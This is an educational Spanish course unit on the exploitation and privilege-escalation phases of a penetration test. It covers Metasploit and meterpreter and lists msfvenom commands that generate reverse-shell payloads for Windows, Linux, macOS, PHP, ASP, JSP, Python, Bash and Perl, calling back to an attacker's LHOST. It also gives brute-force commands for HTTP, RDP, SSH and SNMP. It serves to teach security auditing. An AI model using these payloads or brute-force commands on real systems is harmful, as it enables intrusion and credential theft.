0% encontró este documento útil (0 votos)
233 vistas45 páginas

Explotación y Escalada de Privilegios en Seguridad

Este documento trata sobre la auditoría de infraestructuras, enfocándose en las fases de explotación y escalada de privilegios. Explica conceptos como vectores de ataque, tipos de exploits, herramientas para buscar exploits como Metasploit y diferentes métodos para escalar privilegios como el uso de Mimikatz y "pass the hash". Además, detalla diversas herramientas para fuerza bruta de credenciales y cracking de contraseñas para lograr la escalada de privilegios.

Cargado por

acobo705
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
233 vistas45 páginas

Explotación y Escalada de Privilegios en Seguridad

Este documento trata sobre la auditoría de infraestructuras, enfocándose en las fases de explotación y escalada de privilegios. Explica conceptos como vectores de ataque, tipos de exploits, herramientas para buscar exploits como Metasploit y diferentes métodos para escalar privilegios como el uso de Mimikatz y "pass the hash". Además, detalla diversas herramientas para fuerza bruta de credenciales y cracking de contraseñas para lograr la escalada de privilegios.

Cargado por

acobo705
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Auditoría de infraestructuras II:

Explotación y Escalada de privilegios


© Ediciones Roble, S.L.
Indice
Auditoría de infraestructuras II: explotación y escalada de privilegios 3
I. Explotación 3
1.1. Introducción 3
1.2. Objetivos 3
1.3. Teoría 3
1.4. Vectores de ataque 4
1.5. Tipos de exploit 5
1.6. Búsqueda de exploit (Exploit-db y similares, searchsploit) 6
1.7. Metasploit 7
1.7.1. Módulos auxiliares 9
1.7.2. Módulos de exploits 9
1.7.3. Payloads de Metasploit 10
1.7.4. Generación de shellcode y payloads ejecutables 10
1.8. Tipos de shells 13
II. Escalada de privilegios 14
2.1. Introducción 14
2.2. Teoría 14
2.3. Escalando privilegios con Metasploit 16
2.3.1. Utilizando meterpreter 16
2.3.2. Utilizando exploits específicos 17
2.4. Exploits de escalada de privilegios en local 20
2.4.1. Elevación de privilegios en Microsoft Windows 20
2.4.2. Elevación de privilegios en Linux 21
2.5. Fuerza bruta de credenciales 22
2.5.1. Medusa 23
2.5.2. ncrack 23
2.5.3. hydra 24
2.5.4. patator 24
2.6. Extracción de credenciales mediante Mimikatz 25
2.6.1. Recuperar contraseñas en texto plano 25
2.6.2. Exportar tickets de Kerberos 26
2.6.3. Exportar fichero SAM 26
2.7. Autenticación mediante técnicas “Pass the Hash” 27
2.7.1. Pass the Hash con Metasploit 27
2.7.2. Pass the Hash con Mimikatz 27
2.7.3. Pass the hash con pth-toolkit 28
2.7.4. Autenticándonos en escritorio remoto con Pass the Hash 30
2.7.5. Utilizando Pass the Hash en scripts de nmap 30
2.8. Password cracking 30
2.8.1. Jhon the ripper 31
2.8.2. hashcat 32
2.9. Pivoting con meterpreter 33
III. Resumen 39
Recursos 40
Enlaces de Interés 40
Bibliografía 43
Glosario. 45

2/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Auditoría de infraestructuras II: explotación y


escalada de privilegios

I. Explotación

1.1. Introducción
Tras la identificación de vulnerabilidades en los servicios identificados en las fases anteriores, el siguiente
paso es explotarlas con el objetivo de mostrar el riesgo real de la vulnerabilidad.

1.2. Objetivos
Con esta unidad el estudiante continuará trabajando en las fases que componen una auditoría de
seguridad, pero esta vez, centrándonos en las fases de explotación y escalada de privilegios.

En cuanto a la fase de explotación, el alumno aprenderá los diferentes vectores de ataque, algunos tipos
d e exploit y cómo buscarlos. Además, es importante familiarizarse con diferentes herramientas que
resaltarán de gran utilidad en un futuro como auditor de seguridad.

Con respecto a la escalada de privilegios, en esta unidad los estudiantes conocerán varios métodos de
escalada de privilegios, así como herramientas que les servirán de ayuda para llevarlos a cabo.

1.3. Teoría
Un exploit es un software o técnica que permite explotar o aprovechar una vulnerabilidad de seguridad
de un sistema de información para conseguir un comportamiento no deseado del mismo.

A modo general, desde un punto de vista de ejecución, para la misma hay que contar con:

Si pueden ser explotables de manera remota o local.


Necesidad de privilegios o condiciones del sistema.

Algunos ejemplos de acciones que se pueden lograr en caso de éxito:


Transferir ficheros entre sistemas.
Obtener información acerca del sistema afectado.
Modificar la configuración.

3/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

La explotación es una fase vital en la ejecución de un test de intrusión ya que nos permite evaluar el
riesgo real de la vulnerabilidad, tanto en información obtenida como en la posibilidad de saltar o pivotar
hacia otros sistemas.

Los riesgos de un exploit son:

Denegación del sistema o servicio.


Degradación del sistema o servicio.
Corrupción de información.
Corrupción de la configuración del sistema o servicio.
Escalada de privilegios.

Anotación: Concepto de shellcode

En exploiting, una shellcode es una pequeña porción de código utilizada como carga útil en la
explotación de una vulnerabilidad de software. Se llama "shellcode" porque normalmente inicia un
shell de comandos desde el cual el atacante puede controlar la máquina comprometida, pero
cualquier código que realice una tarea similar se puede llamar shellcode. Hay dos tipos
diferenciados:

Local: normalmente es el utilizado por un atacante que tiene acceso limitado a una
máquina, pero puede explotar una vulnerabilidad, por ejemplo, un desbordamiento de
búfer, en un proceso de mayor privilegio en esa máquina.
Si se ejecuta con éxito, la shellcode proporcionará al atacante acceso a la máquina con
los mismos privilegios superiores que el procesado.
Remota: se utiliza cuando un atacante desea apuntar a un proceso vulnerable que se
ejecuta en otra máquina en una red local, intranet o red remota. Si se ejecuta con éxito, la
shellcode puede proporcionar acceso al atacante a la máquina de destino a través de la
red. Se puede ejecutar remotamente, mediante el procesamiento de un servidor o
localmente, mediante algún tipo de engaño del usuario.

Más adelante vamos a ver este concepto y es necesario tener claro cuál es su finalidad.

1.4. Vectores de ataque


Hay numerosas formas de identificar los vectores de ataque dentro de una red o en un host concreto.
Los vectores más comunes son los siguientes:

Vectores en aplicaciones web: como se va a comentar en la unidad 2, se pueden explotar


vulnerabilidades de inyección de código, file inclusion, etc.
Servicios con vulnerabilidades conocidas.
Servicios con configuraciones por defecto o mal configurados.

4/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Contraseñas por defecto y contraseñas no seguras.


Compromiso de equipos de la red interna mediante phishing o mails infectados.

Referencias:

[Link]
[Link]

1.5. Tipos de exploit


Un exploit está formado por dos partes diferenciadas:

Exploit

Es el código que tiene por objeto ejecutar instrucciones en la víctima de manera no autorizada. Es el
cómo se explota una vulnerabilidad.

Payload

Son las instrucciones que se ejecutan desde la víctima y que nos ofrecen el acceso o interacción no
autorizada a raíz de la explotación de las vulnerabilidades. Es el qué se explota en una vulnerabilidad.

La mayoría de exploits pueden ser agrupados en una de las siguientes categorías:

Service-side

Son aquellos que tienen por objetivo comprometer un servicio que ejecuta en modo servidor, como
por ejemplo el servicio apache.

Client-side

Lo s exploit de esta categoría afectan a software que ejecuta en el lado cliente y dentro de esta
agrupación figuran las aplicaciones que más comúnmente usamos en nuestro día a día, tal y como son
el navegador web, una hoja de cálculo o el cliente de correo electrónico.

Local Privilege Escalation - PoE

Son exploits que deben ser ejecutados localmente, es decir, desde la propia máquina, ya sea bien por
consola o por acceso remoto.

5/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

1.6. Búsqueda de exploit (Exploit-db y similares, searchsploit)


Como se comentó en el apartado 3.5.4. Búsqueda de vulnerabilidades en fuentes abiertas , la
herramienta searchsploit, disponible para sistemas Linux, realiza búsquedas de exploits disponibles en una
copia local de la base de datos mantenida por exploit-db. Además, también indica dónde se encuentra la
copia local del exploit para poder utilizarlo para comprometer el equipo remoto.

Como alternativa a esta, la base de datos online de exploit-db, es una fuente muy útil de información y
búsqueda de exploits de todo tipo, ya sean remotos, locales, de kernel Linux, de explotación de servicios a
través de buffer overflow, etc., y [Link], que cuenta con una base de datos similar a la que dispone
exploit-db.

[Link]

Imagen 3.1. Exploit database.


Fuente: [Link]

6/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

[Link]

Imagen 3.2. 0DAY. today?.


Fuente: [Link]

1.7. Metasploit
Metasploit es una plataforma avanzada de código abierto para desarrollar, probar y utilizar código de
explotación escrito en Ruby. Contiene herramientas de desarrollo orientadas a explotar vulnerabilidades.
Lo s frameworks estandarizan la sintaxis de uso de exploit y proporcionan capacidades dinámicas de
código shell. Esto significa que, para cada exploit en el framework, se pueden seleccionar diferentes
payloads , como una bind shell, una reverse shell, descarga y ejecución de shellcodes , etc.

Metasploit cuenta con dos principales interfaces de usuario: msfconsole y armitage. La primera y más
común, es una consola interactiva, usada para ejecutar tareas regulares; la segunda, es un add-on de
terceros que proporciona al usuario una interfaz gráfica.

Mediante el comando show se pueden enumerar los diferentes exploits , módulos auxiliares, payloads y
plugins que ofrece este framework tan completo.

Exploits

Organizados en función del sistema operativo y software afectados, lista tanto de client-side como de
server-side.

# show exploits

7/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Payloads

Hay de múltiples variedades, incluyendo conexiones directas, inversas y por supuesto el


meterpreter, del que hablaremos en el siguiente apartado.

# show payloads

Encoders

Modifica los exploits y los payloads para evadir elementos de seguridad tales como IDS, IPS, AV.

# show encoders

Auxiliary

Módulos de apoyo durante un test de intrusión, la mayoría son relativos a ejercicios de escaneos o
fuerza bruta.

Post

Actividades posteriores a la explotación satisfactoria de una víctima, relacionadas con la persistencia,


transferencia de ficheros, automatización de búsquedas de información y similares.

A continuación, se muestra una parte de cada uno de ellos:


ENLACE

8/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Además de lo comentado, Metasploit ofrece la posibilidad de realizar numerosas tareas:

ejecutar comandos de sistema


buscar información concreta
consultar si hay más de un módulo ejecutándose
ver las sesiones activas
elegir un exploit
ajustar las opciones de un exploit
seleccionar el payload y ajustarlo

ENLACE

1.7.1. Módulos auxiliares

Los módulos auxiliares proporcionan funcionalidades como enumeración de protocolos, escaneo de


puertos, fuerza bruta, fuzzing, sniffing, etc., que nos puede ayudar en las primeras fases del hacking ético.

A continuación, se muestra un ejemplo de una simple enumeración SNMP:

ENLACE

Como se ha comentado, otros módulos auxiliares incluyen opciones de fuerza bruta contra
determinados servicios. El mostrado a continuación, se lleva a cabo contra un servidor FTP, donde se
hace fuerza bruta contra el login:
ENLACE

1.7.2. Módulos de exploits

Este framework cuenta con más de 1000 exploits para diferentes plataformas y arquitecturas. Estos se
invocan de la misma manera que en el caso de los módulos auxiliares. A continuación, vamos a mostrar un
ejemplo de explotación del servicio pop3.

Lo primero que tenemos que hacer es seleccionar el host objetivo con el comando set RHOST $ip. El
puerto no es necesario seleccionarlo ya que viene por defecto. Sin embargo, puede darse la situación de
que el servicio se esté ejecutando en otro puerto, por lo que tendríamos que seleccionarlo con set
RPORT $port.

A continuación, vamos a seleccionar el payload , en este caso al tratarse de sistema Windows, una
reverse shell de Windows: set PAYLOAD windows/shell_reverse_tcp.

9/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

El siguiente paso es configurar nuestro payload añadiendo nuestra IP y puerto de escucha de la shell que
vamos a ejecutar en nuestro objetivo. Esto se hace de la misma manera que se explicó unas líneas más
arriba, con la diferencia que vamos a utilizar LHOST y LPORT, que hacen referencia a nuestra máquina.
Una vez configurado todo, ejecutamos el exploit:
ENLACE

1.7.3. Payloads de Metasploit

Existen dos tipos de payloads : staged y non-staged . En este apartado se van a ver las diferencias entre
ambos.

La mayoría de los exploits pueden ser agrupados en las siguientes categorías:

Sencillos o de un solo paso (non-staged ): son autocontenidas, se trata habitualmente de la


ejecución de un comando en la víctima que tiene por propósito crear una conexión con el
atacante o crear un usuario en la víctima.

adduser, exec, shell_bind_tcp, shell_reverse_tcp, etc.

Staged/Stagers o de dos pasos: este payload se envía, normalmente, en dos pasos:

La primera parte es payload primario, el stager, que establece una conexión entre la
víctima y el atacante a través de la red mediante bind_tcp, reverse_tcp, reverse_http,
etc.
Stage: es el payload secundario, que contiene el resto del shellcode. Es lo que
realmente se ejecuta en la víctima, una vez se ha establecido la conexión entre la
víctima y el atacante. Normalmente se trata de un programa que se carga la memoria
para evitar que sea fácilmente trazable.
VNC, meterpreter.
Actualmente, los stages incluyen su código en el proceso explotado inyectándose
como DLL.

Se pueden dar diferentes situaciones en las que se precise el uso de staged shellcodes en vez de las non-
staged:

La vulnerabilidad que estamos explotando no tiene suficiente espacio de búfer para contener un
payload completo. Como la primera parte de un payload staged es más pequeña que un payload
completo, los que son más pequeños a menudo pueden salvarnos en situaciones complejas.
El software antivirus detecta código shell incrustado en un exploit. Reemplazando el código shell
incrustado con payload staged , eliminaremos la mayor parte de la parte maliciosa del código shell
y la inyectaremos directamente en la memoria de la máquina víctima.

windows/shell_reverse_tcp - Connect back to attacker and spawn a command shell

windows/shell/reverse_tcp - Connect back to attacker, Spawn cmd shell (staged)

1.7.4. Generación de shellcode y payloads ejecutables

10/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

El framework de Metasploit no solo dispone de una variedad de payloads , sino que también ofrece la
posibilidad de generar la shellcode para incrustar en nuestro exploit y, por otro lado, exportar estos
mismos dentro de diferentes tipos de ficheros y formatos, como son ASP, VBScript, Java War, Windows
DLL y EXE, etc.

Esto es posible gracias a la utilidad msfvenom ([Link]


unleashed/Msfvenom/). Msfvenom es un framework para generar shellcodes dentro de la herramienta
Metasploit, pero también se puede utilizar por separado.

Las ventajas del uso de msfvenom son:

Se dispone de todo lo necesario en una única herramienta.


Opciones de líneas de comando estandarizadas.
Mayor velocidad.

Imagen 3.3. Creación de payloads ejecutables en Linux.


Fuente: captura de Kali Linux (htpps://[Link]/).
Generación de shellcode

11/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Hay tres tipos de shellcodes : los basados en Linux, en Windows y en Mac.

La generación de shellcodes con msfvenom sigue el siguiente patrón:

Lo primero que vamos a seleccionar es el payload . Para el ejemplo que se va a mostrar, se ha


seleccionado uno básico llamado windows/shell_reverse_tcp, que actúa como un payload
de reverse shell de netcat.
Para consultar los payloads disponibles, podemos escribir en la línea de comandos lo
siguiente:
root@kali:~# msfvenom -l payloads
Es necesario seleccionar el LHOST y LPORT, que, como comentamos anteriormente,
corresponden a la IP y puerto de la máquina atacante desde la que se quiere conectar a la
víctima.
En el ejemplo mostrado a continuación, se ha generado una shellcode en lenguaje c,
compatible con arquitecturas de 32 bits, esto último seleccionado por defecto al no haberlo
especificado previamente en el comando:

ENLACE

En el ejemplo anterior se observa que hay presencia de caracteres nulos, que pueden provocar que
nuestro shellcode sea ejecutado. Msfvenom permite la generación de shellcodes sin este tipo de
caracteres. Además, en el siguiente ejemplo se va a utilizar la opción para codificar el shellcode
generado:
ENLACE

Generación de payloads ejecutables

Este tipo de payloads pueden ser usados como parte de ataques client-side, backdoors o como
método de para pasar un payload de una máquina a otras.

A continuación, se listan los diferentes tipos de payloads ejecutables posibles:

Binarios

Basados en Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=


<Your Port to Connect On> -f elf > [Link]

Basados en Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=


<Your Port to Connect On> -f exe > [Link]

Basados en Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your


Port to Connect On> -f macho > [Link]

12/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your


Port to Connect On> -f raw > [Link]

cat [Link] | pbcopy && echo '<?php ' | tr -d '\n' > [Link] && pbpaste >> [Link]

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=


<Your Port to Connect On> -f asp > [Link]

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your


Port to Connect On> -f raw > [Link]

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your


Port to Connect On> -f war > [Link]

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your


Port to Connect On> -f raw > [Link]

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port


to Connect On> -f raw > [Link]

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port


to Connect On> -f raw > [Link]

1.8. Tipos de shells

13/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Bind

El atacante establece la conexión, el shellcode se llama bindshell porque el shellcode se une a un


determinado puerto en la máquina de la víctima.

Reverse

El shellcode establece la conexión, se denomina "reverse shell" o connect-back shellcode porque el


shellcode se conecta a la máquina del atacante.

Reuse-socket

Este tipo de shellcode es mucho menos común. A veces se usa cuando un exploit establece una
conexión con el proceso vulnerable que no se cierra antes de ejecutar el shellcode. El shellcode puede
entonces volver a usar esta conexión para comunicarse con el atacante. La utilización de shellcode es
más elaborada, ya que el shellcode necesita saber qué conexión emplear para volver a usar y la máquina
puede tener muchas conexiones abiertas.

Lectura recomendada:

[Link]

II. Escalada de privilegios

2.1. Introducción
Una vez completada la fase de explotación y habiendo obtenido un acceso en el sistema remoto, es
posible que el acceso que se ha logrado no disponga de los privilegios adecuados para realizar ciertas
operaciones.

Es en este momento cuando entra en juego la fase de elevación de privilegios, en la que se intenta,
mediante varias técnicas, conseguir un acceso con mayores privilegios que no suponga ningún
impedimento a la hora de poder ejecutar todo tipo de operaciones en el sistema remoto.

2.2. Teoría
El concepto de escalada de privilegios es el resultado de acciones que permiten a un adversario obtener
un mayor nivel de permisos en un sistema o red a partir de un acceso más restringido.

14/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Ciertas herramientas o acciones requieren un mayor nivel de privilegio para poder ejecutarse. No
disponer de los privilegios adecuados puede impedir la operativa de las mismas y, por tanto, el éxito en
mayor o menor medida del compromiso del equipo remoto.

Existen numerosas tácticas para lograr la elevación de privilegios. A continuación, se enumeran las más
comunes.

Fallos en la configuración

En este apartado se incluirían todas las técnicas utilizadas que se aprovechen de un defecto en la
configuración de las aplicaciones, protocolos, tecnologías, etc. Por ejemplo, el uso de contraseñas por
defecto, una mala gestión de los permisos de acceso o modificación de ficheros sensibles, etc.

Debilidades en los mecanismos de autenticación o autorización

Engloba todos los fallos o vulnerabilidades en los mecanismos de autorización. Por ejemplo, que
pueda evadirse el sistema de autenticación de una determinada aplicación o servicio. También se
incluyen fallos o vulnerabilidades en los mecanismos de autorización como que no se compruebe la
autorización de un usuario al acceder a un recurso, que se pueda engañar al sistema de autorización para
que crea que somos un usuario con mayores privilegios, etc.

Ejecución de exploits de escalada de privilegios:

Consiste en la ejecución de exploits , en su mayoría, disponibles de manera pública, que proporcionan


una elevación de privilegios aprovechando alguna vulnerabilidad conocida presente en el sistema.

Inyección en procesos

Su objetivo consiste en intentar inyectar las operaciones deseadas en un proceso que disponga de
privilegios elevados. De esta manera, la operación será ejecutada por el proceso con los privilegios
elevados de los que dispone.

Modificación de servicios

De la misma manera que la técnica anterior, este procedimiento consiste en localizar servicios que se
ejecuten con privilegios elevados, con la finalidad de intentar modificarlos para que realicen las
operaciones elevadas. Dado que las operaciones serán realizadas por el propio servicio, se ejecutarán
con los privilegios elevados del mismo.

15/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Averiguar las credenciales de un usuario privilegiado

Incluye técnicas para averiguar las credenciales de un usuario que disponga de privilegios elevados.
Para ello, se realizan ataques de fuerza bruta, que consisten en probar posibles combinaciones de la
contraseña o usuario/contraseña, sobre una determinada aplicación o servicio hasta que localizan la
contraseña utilizada por el usuario.

Reutilización de hashes o tokens de sesión de usuarios privilegiados

Su objetivo consiste en tratar de capturar y reutilizar hashes de contraseñas o tokens de sesión, de


usuarios privilegiados con la finalidad de reutilizarlos e impersonar al usuario legítimo.

2.3. Escalando privilegios con Metasploit


Aunque ya se presentó el uso de este framework en la fase de explotación, en este apartado se mostrará
el uso de Metasploit únicamente con la finalidad de escalar privilegios en un sistema remoto.

2.3.1. Utilizando meterpreter

Meterpreter es una shell incluida en Metasploit para poder acceder a un equipo remoto o incluso local,
que ha sido comprometido.

Además de proporcionar una consola de comandos remota en el sistema comprometido, dispone de


muchas más funcionalidades como módulos específicos para la recopilación de información del sistema
comprometido, volcar contraseñas disponibles en la memoria RAM del equipo comprometido,
transferencia de fichero al equipo remoto, módulos para pivotar a la red interna, etc.

Dentro de todo el abanico de módulos disponibles, existe una funcionalidad especifica getsystem que
trata de realizar una elevación de privilegios en los sistemas comprometidos que estén ejecutando ciertas
versiones de Microsoft Windows y que no se encuentren debidamente parcheados.

Para acometer esta tarea, puede utilizar 4 técnicas diferentes, si invocamos la ayuda del módulo
podremos ver las técnicas utilizadas y el método de invocación.

16/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Imagen 3.4. Técnicas y métodos de invocación en meterpreter.


Fuente: captura de la herramienta meterpreter.

En caso de no forzar el intento de elevación de privilegios con ninguna técnica en concreto, el módulo
getsystem intentará elevar privilegios de manera consecutiva hasta que se consiga elevar privilegios con
alguna de las técnicas disponibles.

En la siguiente ilustración se comprueba cómo se ha realizado una elevación de privilegios mediante la


técnica “ Named Pipe Impersonation (In Memory/Admin)”.

Imagen 3.5. Elevación de privilegios mediante la técnica 1.


Fuente: captura de la herramienta meterpreter.

2.3.2. Utilizando exploits específicos

En ciertas ocasiones, dependiendo de la versión del sistema operativo y el nivel de parcheo del mismo,
no es posible realizar una elevación de privilegios mediante el módulo incluido en la shell de meterpreter.

En estos casos, es necesario utilizar algún exploit de elevación de privilegios que se ejecutará a través del
canal de comunicaciones ya establecido por meterpreter, pero que utilizará alguna vulnerabilidad conocida
para elevar privilegios distinta a las que ya incluye el propio meterpreter. A continuación, se muestran los
distintos exploits disponibles para la elevación de privilegios locales en un sistema Microsoft Windows.

17/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Imagen 3.6. Uso de los exploits específicos en meterpreter.


Fuente: captura de la herramienta meterpreter.

A modo de ejemplo, utilizaremos el exploit ms10_015_kitrap0d, dado que la ejecución se realiza fuera
de meterpreter, pero necesitamos mantener la comunicación con el sistema remoto, ponemos la sesión de
meterpreter en background .

Imagen 3.7. Sesión de meterpreter en segundo plano.


Fuente: captura de la herramienta meterpreter.

Seleccionamos el exploit que se va a ejecutar y se configuran las opciones necesarias:

Sesión de meterpreter sobre la que ejecutar el exploit local.


Payload que se ejecutará tras la explotación de la vulnerabilidad y la dirección IP y puerto a la
que se conectará de manera inversa.

18/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Imagen 3.8. Configuración de opciones en meterpreter.


Fuente: captura de la herramienta meterpreter.

Como podemos comprobar, al ejecutar el exploit, este utilizará la sesión de meterpreter que dejamos en
background para lanzar el exploit, el cual elevará privilegios y nos devolverá una nueva sesión de
meterpreter, pero con privilegios elevados de nt authority\system

19/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Imagen 3.9. Elevación de privilegios en meterpreter.


Fuente: captura de la herramienta meterpreter.

2.4. Exploits de escalada de privilegios en local


Aunque el framework de Metasploit resulta bastante funcional, existen ciertas casuísticas en las cuales no
es posible utilizarlo. Por ejemplo, en caso en que se requiera elevar privilegios locales en un equipo al que
tenemos acceso físicamente. Otra casuística es que el exploit que necesitemos utilizar para elevar
privilegios no se encuentre disponible en Metasploit.

Es posible localizar bastantes exploits funcionales en ciertas fuentes (como por ejemplo [Link]
o realizando una búsqueda con la herramienta searchsploit). Estos se aprovechan de alguna vulnerabilidad
conocida para realizar una elevación de privilegios.

Como contrapartida, la morfología de estos exploits es bastante heterogénea, pueden estar desarrollados
en diferentes lenguajes de programación, estar documentados o no, ser versiones funcionales o pruebas de
concepto que necesitan modificarse para que sean funcionales en nuestro entorno objetivo, etc.

A continuación, se muestra a modo de ejemplo la ejecución de un par de exploits de elevación de


privilegios sobre los sistemas operativos Microsoft Windows y Linux.

2.4.1. Elevación de privilegios en Microsoft Windows

A continuación, se muestra la ejecución de un exploit de elevación de privilegios locales, en sistemas


Windows XP y 2003 Server, que se aprovecha de una vulnerabilidad conocida en el proceso [Link] (https
://[Link]/exploits/18176/).

Este exploit está desarrollado en lenguaje Python, de esta manera, se podrá ejecutar directamente en el
sistema objetivo siempre que tenga instalado el intérprete de Python. En caso que el intérprete no se
encuentre instalado, se deberá compilar con Python el exploit para que produzca un fichero binario .exe
que integraría el propio motor de Python, para ser ejecutado en cualquier sistema sin necesidad de
disponer del intérprete de Python previamente instalado.

A continuación, se muestra la ejecución del exploit mediante la siguiente invocación.

[Link] -O 2k3

Como se puede apreciar, se han obtenido privilegios de nt authority\system

20/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Imagen 3.10. Elevación de privilegios de nt authority\system.


Fuente: captura del escritorio de Microsoft Windows.

2.4.2. Elevación de privilegios en Linux

De manera similar, en este caso, se muestra la ejecución de un exploit de elevación de privilegios locales,
en distribuciones Linux con versiones de Kernel comprendidas entre 2.4.4 y [Link] o versiones entre
2.6.0 y [Link] que se aprovecha de una vulnerabilidad conocida en el sistema SELinux ([Link]
[Link]/raw/9545/)

Dado que este exploit está desarrollado en lenguaje C, será necesario compilarlo según las instrucciones
indicadas en los propios comentarios existentes en el código fuente del exploit.

Imagen 3.11. Elevación de privilegios en Linux.


Fuente: captura de Kali Linux ([Link]

Como podemos comprobar, en el sistema objetivo disponemos de una sesión remota con un usuario
menos privilegiado apache:

Imagen 3.12. Sesión remota en el sistema objetivo.


Fuente: captura de Kali Linux ([Link]

21/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Transferimos el exploit previamente compilado al sistema remoto y lo ejecutamos.

Como se puede comprobar, tras la ejecución del exploit, la shell previamente establecida pasa a tener
privilegios elevados como usuario root.

Imagen 3.13. Elevación de privilegios en Linux.


Fuente: captura de Kali Linux ([Link]

Para ampliar conocimientos, se sugiere la siguiente lectura: [Link]


sic-linux-privilege-escalation/ y el estudio del siguiente script: [Link]
ad/[Link]

2.5. Fuerza bruta de credenciales


Este tipo de ataques consiste en automatizar el proceso de autenticación sobre un determinado servicio o
aplicación con la finalidad de ir probando posibles combinaciones de contraseñas o usuario/contraseña,
hasta averiguar las credenciales de acceso de algún usuario privilegiado.

Dependiendo de la tipología de la infraestructura, es posible que existan mecanismos de protección


contra este tipo de ataques que interrumpen la conexión si detectan que se están realizando un número de
peticiones determinado en un intervalo de tiempo. En estos casos, es necesario comprobar, durante las
fases de enumeración y escaneo, si existe algún sistema de protección que actúe de esta manera, con la
finalidad de ajustar la intensidad con la que se realizan las pruebas para intentar que pasen desapercibidas.

En este tipo de técnicas, las probabilidades de éxito de localizar credenciales válidas dependen, en gran
medida, de la utilización de un buen diccionario de posibles contraseñas para probar. Además, la utilización
de un buen diccionario limita el número de peticiones qe se van a realizar y reduce el tiempo necesario para
localizar las contraseñas.

22/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Existen varias aplicaciones para realizar este tipo de pruebas, cada una de ellas tiene ciertas
características como la compatibilidad con ciertos protocolos o la eficiencia de las mismas en cuanto a la
cantidad de distintas contraseñas por minuto que puede comprobar, etc. En los siguientes apartados se
enumeran algunas de ellas.

2.5.1. Medusa

Es considerada como una herramienta de fuerza bruta bastante rápida, con posibilidad de paralelismo,
utilizada en ataques masivos. Los servicios sobre los que esta herramienta puede operar se encuentran en el
directorio de módulos de la misma (/usr/lib/medusa/modules/):

[Link] [Link] [Link] [Link] [Link]

[Link] [Link] [Link] [Link] [Link]

[Link] [Link] [Link] [Link] [Link]

[Link] [Link] [Link] [Link] [Link]

[Link] [Link] [Link] [Link] [Link]

Por ejemplo, para realizar pruebas sobre un determinado directorio web protegido mediante
htaccess se utilizaría el siguiente comando:

medusa -h TARGET_IP -u USUARIO -P FICHERO_PASSWORD -M http -m


DIR/admin -T 10

medusa -h [Link] -u root -P [Link] -M http -m DIR/admin -T 10

De manera similar, si queremos probar una única contraseña débil sobre un listado de usuarios,
utilizaríamos el siguiente comando:

medusa -h TARGET_IP -U LISTADO_DE_USUARIOs -p Marzo2018 -M http -m DIR/admin


-T 10

medusa -h [Link] -U [Link] -p Marzo2018 -M http -m DIR/admin -T 10

2.5.2. ncrack

Al igual que la herramienta anterior, es bastante rápida, incorpora funcionalidades de paralelismo de las
conexiones.

A continuación, se muestra el comando utilizado para realizar un ataque de fuerza bruta sobre el
protocolo RDP.

ncrack -vv --user USUARIO -P LISTADO_DE_PASSWORDS rdp://IP

ncrack -vv --user offsec -P password_list.txt rdp://[Link]

23/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Por el contrario, en este otro ejemplo, se muestra el comando utilizado para realizar un ataque de fuerza
bruta sobre el protocolo SSH:

ncrack -p 22 --user root -P [Link] [Link]

2.5.3. hydra

Es parecida a las herramientas anteriores, se recomienda su uso para hacer fuerza bruta sobre las
community string de SNMP.

El siguiente comando muestra la ejecución de un ataque de fuerza bruta, sobre el protocolo snmp, para
averiguar las community strings que proporcionan acceso al servicio.

hydra -P LISTADO_PASSWORDS -v TARGET_HOST protocolo

hydra -P [Link] -v [Link] snmp

2.5.4. patator

Dispone de un sistema de módulos que soporta la iteración con bastantes protocolos. Aunque la forma
de operar con esta herramienta difiere de las anteriores, es la que más opciones de configuración ofrece,
permitiendo establecer las condiciones necesarias para evaluar la respuesta emitida por el equipo remoto y
considerar si las credenciales introducidas son correctas.

A continuación, se muestra un ejemplo en el que se realiza un ataque de fuerza bruta sobre el servicio
FTP para enumerar nombres de usuario válidos que se encuentren en un listado de usuarios
proporcionado en un fichero. Además, se indica que, si el servidor devuelve el mensaje ‘ Login
incorrect’, se considera que el usuario probado no es válido en el sistema remoto.

ENLACE

